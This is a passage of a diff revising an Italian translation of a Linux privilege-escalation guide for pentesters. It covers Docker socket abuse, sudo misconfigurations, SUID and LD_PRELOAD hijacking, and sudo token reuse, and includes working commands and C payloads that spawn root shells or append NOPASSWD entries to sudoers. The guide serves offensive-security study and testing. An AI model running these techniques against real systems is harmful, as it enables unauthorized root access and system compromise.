`.socket` **scrivibile**, puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare il riavvio della macchina.**\ _Nota che il sistema deve usare quella configurazione del file socket oppure il backdoor non verrà eseguito_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa del tipo: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare il riavvio della macchina.**\ +_Nota che il sistema deve stare usando quella configurazione del file socket o la backdoor non verrà eseguita_ -### Writable sockets +### Socket scrivibili -Se **identifichi un socket scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. +Se identifichi uno socket scrivibile (ora si parla di Unix Sockets e non dei file di config `.socket`), allora puoi comunicare con quello socket e magari sfruttare una vulnerabilità. ### Enumerare Unix Sockets ```bash netstat -a -p --unix ``` -### Connessione raw +### Connessione grezza ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -473,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Esempio di exploitation:** {{#ref}} @@ -482,19 +508,19 @@ socket-command-injection.md ### HTTP sockets -Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non sto parlando di .socket files ma dei file che agiscono come unix sockets_). Puoi verificarlo con: +Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_Non intendo i file .socket ma i file che agiscono come unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se il socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con esso e magari **sfruttare qualche vulnerabilità**. +Se il socket **risponde con una richiesta HTTP**, puoi **comunicare** con esso e magari **exploit** qualche vulnerabilità. -### Docker socket scrivibile +### Docker Socket scrivibile -Il Docker socket, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso trovato a `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Di default, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere write access a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. -#### **Privilege Escalation with Docker CLI** +#### **Privilege Escalation con Docker CLI** -Se hai accesso in scrittura al Docker socket, puoi escalate privileges usando i seguenti comandi: +Se hai write access al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -503,15 +529,15 @@ Questi comandi permettono di eseguire un container con accesso root al file syst #### **Utilizzo diretto della Docker API** -Nei casi in cui il Docker CLI non è disponibile, il docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. +Se la Docker CLI non è disponibile, è comunque possibile manipolare il Docker socket usando la Docker API e comandi `curl`. -1. **Elencare Docker images:** Recupera la lista delle immagini disponibili. +1. **Elencare le immagini Docker:** Recupera la lista delle immagini disponibili. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Invia una richiesta per creare un container che monta la directory root del sistema host. +2. **Creare un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -523,7 +549,7 @@ Avvia il container appena creato: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. +3. **Collegarsi al container:** Usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -Dopo aver stabilito la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso root al file system dell'host. +Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamente nel container con accesso root al file system dell'host. -### Others +### Altri -Nota che se hai permessi di scrittura sul docker socket perché sei **all'interno del gruppo `docker`** hai [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) è possibile comprometterla. +Nota che se hai permessi di scrittura sul docker socket perché sei **nel gruppo `docker`** hai [**più modi per escalare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulta **more ways to break out from docker or abuse it to escalate privileges** in: +Consulta **altre modalità per uscire da docker o abusarne per escalare i privilegi** in: {{#ref}} @@ -548,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se scopri di poter usare il comando **`ctr`** leggi la pagina seguente in quanto **you may be able to abuse it to escalate privileges**: +Se puoi usare il comando **`ctr`** leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: {{#ref}} @@ -557,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se scopri di poter usare il comando **`runc`** leggi la pagina seguente in quanto **you may be able to abuse it to escalate privileges**: +Se puoi usare il comando **`runc`** leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: {{#ref}} @@ -566,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato **inter-Process Communication (IPC) system** che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per il moderno sistema Linux, offre un framework robusto per diverse forme di comunicazione tra applicazioni. +D-Bus è un sofisticato sistema di **inter-Process Communication (IPC)** che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i sistemi Linux moderni, offre un framework robusto per diverse forme di comunicazione tra applicazioni. -Il sistema è versatile e supporta IPC di base che migliora lo scambio di dati tra processi, ricordando delle **enhanced UNIX domain sockets**. Inoltre, favorisce la broadcast di eventi o segnali, promuovendo un'integrazione fluida tra i componenti di sistema. Ad esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in entrata può indurre un music player a silenziarsi, migliorando l'esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. +Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, ricordando i **migliorati UNIX domain sockets**. Inoltre, facilita la diffusione di eventi o segnali, favorendo l'integrazione tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth riguardo una chiamata in arrivo può indurre un lettore musicale a mettere in muto l'audio, migliorando l'esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. -D-Bus opera su un modello di allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy che corrispondono. Queste policy specificano le interazioni con il bus e possono potenzialmente consentire privilege escalation tramite lo sfruttamento di questi permessi. +D-Bus opera su un **modello allow/deny**, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente consentendo escalation dei privilegi tramite lo sfruttamento di tali permessi. -Un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliante i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, descrivendo i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. -Le policy senza un utente o gruppo specificato si applicano in modo universale, mentre le policy nel contesto "default" si applicano a tutti non coperti da altre policy specifiche. +Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. ```xml @@ -583,7 +609,7 @@ Le policy senza un utente o gruppo specificato si applicano in modo universale, ``` -**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** +**Scopri come enumerate e exploit una comunicazione D-Bus qui:** {{#ref}} @@ -592,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rete** -È sempre interessante enumerare la rete e capire la posizione della macchina. +È sempre interessante enumerate la rete per capire la posizione della macchina. -### Enumerazione generica +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -626,15 +652,15 @@ Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei ``` ### Sniffing -Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di ottenere alcune credenziali. +Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di catturare alcune credenziali. ``` timeout 1 tcpdump ``` -## Utenti +## Users -### Enumerazione Generica +### Generic Enumeration -Verifica **chi** sei, quali **privilegi** hai, quali **utenti** sono nei **sistemi**, quali possono **accedere** e quali hanno **privilegi di root:** +Controlla **chi** sei, quali **privileges** hai, quali **users** sono nei sistemi, quali possono effettuare **login** e quali hanno **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -656,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID grande +### Big UID -Alcune versioni di Linux sono state colpite da un bug che permette agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori informazioni: [qui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [qui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [qui](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Sfruttalo usando:** **`systemd-run -t /bin/bash`** +Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con **UID > INT_MAX** di ottenere l'elevazione dei privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruppi -Verifica se sei **membro di qualche gruppo** che potrebbe concederti i privilegi di root: +Controlla se sei **membro di qualche gruppo** che potrebbe concederti privilegi di root: {{#ref}} @@ -672,7 +698,7 @@ interesting-groups-linux-pe/ ### Appunti -Verifica se c'è qualcosa di interessante negli appunti (se possibile) +Verifica se qualcosa di interessante è presente negli appunti (se possibile) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -687,29 +713,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Password conosciute +### Passwords conosciute -Se **conosci una password** dell'ambiente **prova a effettuare il login come ogni utente** usando quella password. +Se **conosci una password** dell'ambiente **prova a effettuare il login come ciascun utente** usando quella password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-forceare gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a brute-forceare gli utenti. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a effettuare un brute-force su un utente usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a effettuare brute-force sugli utenti. -## Abusi di PATH scrivibile +## Abusi del PATH scrivibile ### $PATH -Se scopri che puoi **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare i privilegi creando **una backdoor dentro la cartella scrivibile** con il nome di un comando che verrà eseguito da un utente diverso (idealmente root) e che **non sia caricato da una cartella che si trova prima** della tua cartella scrivibile nel $PATH. +Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare privilegi creando **una backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella collocata prima** della tua cartella scrivibile nel $PATH. ### SUDO e SUID -Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure potrebbero avere il bit suid. Verificalo usando: +Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controlla usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alcuni **comandi inaspettati permettono di leggere e/o scrivere file o addirittura eseguire un comando.** Ad esempio: +Alcuni **comandi inaspettati ti permettono di leggere e/o scrivere file o addirittura eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -720,31 +746,31 @@ less>! ``` ### NOPASSWD -La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. +La configurazione di sudo potrebbe permettere a un utente di eseguire determinati comandi con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio l'utente `demo` può eseguire `vim` come `root`; ora è triviale ottenere una shell aggiungendo una ssh key nella directory /root o invocando `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`; è ora banale ottenere una shell aggiungendo una ssh key nella directory di `root` o eseguendo `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Questa direttiva permette all'utente di **impostare una variabile d'ambiente** mentre esegue qualcosa: +Questa direttiva permette all'utente di **set an environment variable** mentre esegue qualcosa: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato su HTB machine Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre lo script veniva eseguito come root: +Questo esempio, **basato su HTB machine Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: bypass dei percorsi di esecuzione +### Sudo: aggirare i percorsi di esecuzione -**Vai** per leggere altri file o usare **symlinks**. Ad esempio, nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** per leggere altri file o usare **symlinks**. Per esempio in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -761,39 +787,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary senza path del comando -Se il **permesso sudo** è concesso per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH +Se il **permesso sudo** è concesso a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere utilizzata anche se un binary **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary sospetto)**. +Questa tecnica può anche essere usata se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary con percorso del comando -Se il binary **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** chiamata come il comando che il file suid sta invocando. +Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** con il nome del comando che il suid file sta chiamando. -Per esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione e export it: +Per esempio, se un suid binary chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed exportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Quindi, quando esegui il suid binary, questa funzione verrà eseguita +Quando esegui il binario suid, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variabile d'ambiente **LD_PRELOAD** è usata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la standard C library (`libc.so`). Questo processo è noto come precaricamento di una libreria. +La variabile d'ambiente **LD_PRELOAD** viene usata per specificare una o più librerie condivise (.so files) che devono essere caricate dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come precaricamento di una libreria. -Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica certe condizioni: +Tuttavia, per mantenere la sicurezza del sistema e impedire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica alcune condizioni: -- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non corrisponde all'effective user ID (_euid_). -- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch'esse suid/sgid. +- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non coincide con l'effective user ID (_euid_). +- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie presenti in percorsi standard che sono anch'esse suid/sgid. -L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. +L'elevazione di privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -810,7 +836,7 @@ setuid(0); system("/bin/bash"); } ``` -Quindi **compilalo** usando: +Quindi **compilalo** utilizzando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -820,7 +846,7 @@ Infine, **escalate privileges** eseguendo sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc simile può essere sfruttato se l'attaccante controlla la **LD_LIBRARY_PATH** env variable perché controlla il percorso in cui verranno cercate le librerie. +> Una privesc simile può essere sfruttata se l'attaccante controlla la variabile d'ambiente **LD_LIBRARY_PATH**, perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -842,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando ci si imbatte in un binario con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente file **.so**. Questo può essere verificato eseguendo il seguente comando: +Quando si incontra un binary con i permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce una potenziale opportunità di sfruttamento. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce la possibilità di sfruttamento. -Per sfruttarlo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: +Per sfruttarlo, si procede creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c #include #include @@ -859,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. +Questo codice, una volta compilato ed eseguito, punta a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. -Compila il file C sopra in un oggetto condiviso (.so) con: +Compila il file C sopra in un shared object (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del SUID binary interessato dovrebbe innescare l'exploit, consentendo una potenziale compromissione del sistema. +Infine, l'esecuzione del SUID binary interessato dovrebbe attivare l'exploit, permettendo un potenziale compromesso del sistema. ## Shared Object Hijacking ```bash @@ -877,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario: +Ora che abbiamo trovato un SUID binary che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -890,7 +916,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Se ricevi un errore come ad esempio +Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -898,9 +924,9 @@ ciò significa che la libreria che hai generato deve avere una funzione chiamata ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attacker per bypassare restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo injectare argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per eludere le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **inserire solo argomenti** in un comando. -Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per evadere restricted shells, escalare o mantenere privilegi elevati, trasferire file, spawnare bind and reverse shells, e facilitare altre attività di post-exploitation. +Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per uscire da shell ristrette, scalare o mantenere privilegi elevati, trasferire file, generare bind e reverse shell, e facilitare altre attività di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,22 +947,22 @@ https://gtfoargs.github.io/ Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare qualche regola sudo. -### Reusing Sudo Tokens +### Riutilizzo dei token sudo -In casi in cui hai **sudo access** ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijackare il token di sessione. +Nei casi in cui hai **accesso sudo** ma non la password, puoi scalare privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. -Requisiti per escalare i privilegi: +Requisiti per scalare i privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" abbia **usato `sudo`** per eseguire qualcosa nelle **ultime 15mins** (di default quella è la durata del sudo token che ci permette di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default quella è la durata del token sudo che ci permette di usare `sudo` senza inserire alcuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 - `gdb` è accessibile (puoi caricarlo) -(Puoi temporaneamente abilitare `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) +(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` impostando `kernel.yama.ptrace_scope = 0`) -Se tutti questi requisiti sono soddisfatti, **puoi escalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se tutti questi requisiti sono soddisfatti, **puoi scalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il sudo token nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -947,32 +973,32 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Il **terzo exploit** (`exploit_v3.sh`) **creerà un sudoers file** che rende i **sudo tokens eterni e permette a tutti gli utenti di usare sudo** +- Il **terzo exploit** (`exploit_v3.sh`) creerà **un sudoers file** che rende **i sudo tokens eterni e permette a tutti gli utenti di usare sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\ -Per esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password eseguendo: +Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **create a sudo token for a user and PID**.\\ +Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quel user con PID 1234, puoi **obtain sudo privileges** senza bisogno di conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se puoi scrivere, puoi abusare di questo permesso +Se puoi scrivere, puoi abusare di questo permesso. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Un altro modo per abusare di questi permessi: +Un altro modo di abusare di queste autorizzazioni: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -981,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; ricordati di controllare la sua configurazione in `/etc/doas.conf` +Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; verifica la sua configurazione in `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **utente solitamente si connette a una macchina e usa `sudo`** per escalation dei privilegi e hai ottenuto una shell nel contesto di quell'utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modificare il $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. +Se sai che un **utente si connette di solito a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **create a new sudo executable** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modify the $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) così quando l'utente esegue sudo, il tuo sudo executable viene eseguito. -Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il 